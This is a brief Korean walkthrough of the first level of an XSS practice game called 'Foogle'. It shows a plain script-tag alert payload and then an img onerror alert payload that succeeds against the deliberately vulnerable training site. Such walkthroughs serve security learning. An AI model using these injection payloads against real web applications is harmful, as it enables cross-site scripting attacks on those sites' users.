[xssgame] Foogle

 

 

 

첫번째 단계입니다.

사이트 자체는 상당히 취약한 상태이기 때문에 간단한 스크립트로 alert를 발생시킬수 있습니다.

<script>alert(1)</script>

 

하지만 왠지 모르게 이 스크립트가 작동하지 않으므로 HTML 태그인 img 태그를 이용해서 스크립트를 작성해야 합니다.

 

<img src="" onerror="alert(1)">

 

이 스크립트를 통해서 alert가 성공적으로 발생한것을 확인할수 있습니다.